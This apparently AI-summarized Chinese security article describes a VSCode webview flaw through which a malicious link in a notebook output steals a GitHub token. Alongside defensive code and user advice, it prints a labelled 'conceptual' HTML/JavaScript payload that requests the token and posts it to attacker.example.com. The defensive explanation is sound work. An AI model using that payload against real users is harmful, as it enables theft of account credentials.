VSCode Webview 令牌窃取漏洞:一次点击,GitHub Token 就没了

2026-06-03 18 预计阅读时间:1 分钟
来源:oschina.net AI 摘要 原文链接

免责声明:本文为 AI 摘要整理,建议结合原文阅读。摘要可能省略上下文、版本差异或边界条件,不作为官方说明。

预计阅读时间:10 分钟

安全研究员 Ammar Askar 最近披露了一个值得所有 VSCode 用户警惕的漏洞——攻击者只需要让用户在 VSCode 的 webview 里点击一条恶意链接,就能窃取用户的 GitHub 访问令牌。没有弹窗确认,没有二次交互,整个过程看起来就像你在正常使用一个 Jupyter Notebook。

这个漏洞暴露了 VSCode webview 安全模型中一个长期被低估的薄弱环节。

Webview:VSCode 里最危险的"合法入口"

VSCode 的扩展生态大量依赖 webview——Jupyter Notebook、Markdown 预览、自定义面板,本质上都是嵌入在 VSCode 内部的浏览器页面。webview 和扩展宿主(extension host)之间通过 postMessage 机制通信:

// 扩展端:创建 webview 并接收消息
const panel = vscode.window.createWebviewPanel(
  'demoPanel',
  'Demo',
  vscode.ViewColumn.One,
  { enableScripts: true }  // ← 开启脚本执行能力
);

panel.webview.onDidReceiveMessage(
  message => {
    if (message.command === 'requestGitHubToken') {
      // 扩展宿主可以调用 vscode.authentication API
      return vscode.authentication.getSession('github', ['repo'], { createIfNone: true });
    }
  },
  undefined,
  context.subscriptions
);
<!-- Webview 端 HTML:向扩展宿主发消息 -->
<script>
  const vscode = acquireVsCodeApi();
  vscode.postMessage({ command: 'requestGitHubToken' });
</script>

问题出在哪?webview 里渲染的内容(比如 Jupyter Notebook 的输出单元格)可以包含任意 HTML 和链接。一旦用户点击了恶意链接,攻击者可以在 webview 内执行 JavaScript,通过 acquireVsCodeApi() 向扩展宿主发送精心构造的消息,触发令牌获取流程。

攻击路径拆解

整个攻击链极其精简:

第一步:投毒。攻击者在 Notebook 输出、Markdown 文件或任何 webview 渲染的内容中嵌入一条看似正常的链接——可能伪装成文档链接、图片引用或数据可视化入口。

第二步:触发。用户在 VSCode 内点击该链接。由于 webview 的 CSP 和沙箱策略存在可被绕过的缝隙,点击行为可以执行攻击者预设的 JavaScript。

第三步:窃取。脚本通过 webview 的 postMessage 通道向扩展宿主请求 GitHub 认证会话。VSCode 的内置 GitHub 认证扩展会返回 access token,攻击者将其发送到外部服务器。

关键在于:VSCode 的认证 API 在 createIfNone: true 模式下会自动弹出 GitHub 登录/授权流程,而很多扩展为了用户体验,默认使用这个模式。一旦用户此前已经授权过,token 会直接返回,连确认弹窗都不会出现。

下面用一个概念性示例展示攻击者如何利用 webview 的消息通道(仅供理解攻击原理,勿用于实际攻击):

<!-- 概念性攻击 payload:嵌入在 Notebook 输出中的恶意 HTML -->
<a href="#" onclick="stealToken(); return false;">查看详细数据报告</a>

<script>
function stealToken() {
  const vscode = acquireVsCodeApi();
  // 向扩展宿主请求 GitHub token
  vscode.postMessage({
    command: 'githubAuth',
    scopes: ['repo', 'gist'],
    createIfNone: true
  });

  // 同时监听扩展宿主返回的消息
  window.addEventListener('message', event => {
    const token = event.data.token;
    if (token) {
      // 将 token 发送到攻击者控制的外部服务
      fetch('https://attacker.example.com/collect', {
        method: 'POST',
        body: JSON.stringify({ token: token })
      });
    }
  });
}
</script>

整个过程对用户来说,只是"点击了一个链接查看数据"——完全在预期行为范围内。

为什么 CSP 没能拦住?

VSCode webview 配置了 Content Security Policy,限制脚本来源和外部连接。但实际防御效果有限:

  • enableScripts: true 是很多扩展的刚需(Jupyter、图表渲染等),CSP 只能限制脚本来源,不能阻止已授权脚本调用 acquireVsCodeApi()
  • 攻击者的 payload 不需要加载外部 JS 文件,内联事件处理器(如 onclick)在某些 CSP 配置下仍然可以执行。
  • 即使 CSP 阻止了直接的外部 fetch,攻击者仍可以通过 webview → 扩展宿主 → 外部网络的间接路径完成数据外泄。

根本问题不是 CSP 配置不够严,而是 webview 的消息通道设计上信任了所有来自自身 webview 内容的消息,没有对消息来源做更细粒度的校验。

防御实践:从扩展开发者到普通用户

扩展开发者的安全加固

如果你在开发 VSCode 扩展并使用了 webview,以下措施可以显著降低风险:

// 1. 不要无条件信任 webview 消息——验证消息结构和来源
panel.webview.onDidReceiveMessage(async (message) => {
  // 严格校验消息格式,拒绝未知 command
  const ALLOWED_COMMANDS = ['getCellContent', 'updateChart'];
  if (!ALLOWED_COMMANDS.includes(message.command)) {
    vscode.window.showWarningMessage(`拒绝未知 webview 命令: ${message.command}`);
    return;
  }

  // 2. 认证请求绝不使用 createIfNone: true
  //    强制要求用户主动确认
  if (message.command === 'authRequest') {
    const session = await vscode.authentication.getSession('github', message.scopes, {
      createIfNone: false,  // ← 不自动创建,必须用户手动触发
      silent: false         // ← 不静默获取,确保用户知情
    });
    if (!session) {
      // 用户拒绝或未授权,不继续
      return;
    }
    // 3. 返回 token 前再做一次用户确认
    const consent = await vscode.window.showWarningMessage(
      '该扩展请求访问你的 GitHub 账号,是否允许?',
      '允许', '拒绝'
    );
    if (consent !== '允许') return;

    return session.accessToken;
  }
});
// 4. webview HTML 中设置尽可能严格的 CSP
const cspSource = panel.webview.cspSource;
const htmlContent = `
<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy"
        content="default-src 'none';
                 script-src ${cspSource} 'nonce-${nonce}';
                 style-src ${cspSource} 'unsafe-inline';
                 connect-src ${cspSource};">
</head>
<body>
  <script nonce="${nonce}">
    // 只有带 nonce 的脚本才能执行
    const vscode = acquireVsCodeApi();
  </script>
</body>
</html>
`;

// nonce 每次渲染随机生成
const nonce = getNonce();
function getNonce() {
  let text = '';
  const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  for (let i = 0; i < 32; i++) {
    text += possible.charAt(Math.floor(Math.random() * possible.length));
  }
  return text;
}

普通用户的自保清单

即使你不写扩展,作为 VSCode 用户也应该采取以下措施:

接触面 风险 操作
GitHub Token 存储 VSCode 内置认证扩展存储的 token 可被 webview 间接访问 定期在 github.com/settings/tokens 检查并撤销不再使用的 token
陌生 Notebook 来自他人的 .ipynb 文件输出单元格可包含恶意 HTML 打开陌生 Notebook 前先用文本编辑器检查输出内容,或在 VSCode 设置中禁用 webview 脚本
扩展安装 任何带 webview 的扩展都有潜在风险 只安装信任来源的扩展,审查扩展是否请求了 authentication API 权限
VSCode 版本 旧版本可能未包含最新安全补丁 保持 VSCode 更新到最新稳定版

在 VSCode 设置中,你可以通过以下方式限制 webview 的脚本执行能力:

// settings.json — 限制 webview 中可执行的内容
{
  // 对 Jupyter Notebook 输出限制脚本执行
  "jupyter.allowRunningWebviewScripts": false,

  // 如果你不使用 Jupyter,可以直接禁用
  "jupyter.enable": false
}

注意:禁用 webview 脚本会影响 Jupyter 的交互式输出(如 matplotlib 动态图表、IPython.display.HTML 等),需要权衡功能与安全。

一个更深层的问题

这个漏洞揭示的不只是一个技术缺陷,而是 桌面应用嵌入 Web 组件时普遍存在的信任边界模糊问题。VSCode 的 webview 模型假设"扩展开发者是可信的",但实际攻击链中,恶意内容来自用户打开的文件——这个信任假设被打破了。

类似的风险存在于任何"本地应用 + 内嵌浏览器"的架构中:Electron 应用、Slack、Discord,甚至 Obsidian 的插件系统。核心矛盾是:Web 的开放性与本地应用的高权限之间,缺少一个真正的权限隔离层

VSCode 团队已经针对此漏洞进行了修复,但更根本的解决方案可能需要重新设计 webview 与扩展宿主之间的消息认证机制——比如引入消息签名、基于来源的命令白名单,或者将认证 API 的调用从 webview 通道中完全剥离。

在此之前,保持警惕、控制 token 暴露面、审查你打开的文件内容,是最实际的防御手段。


相关推荐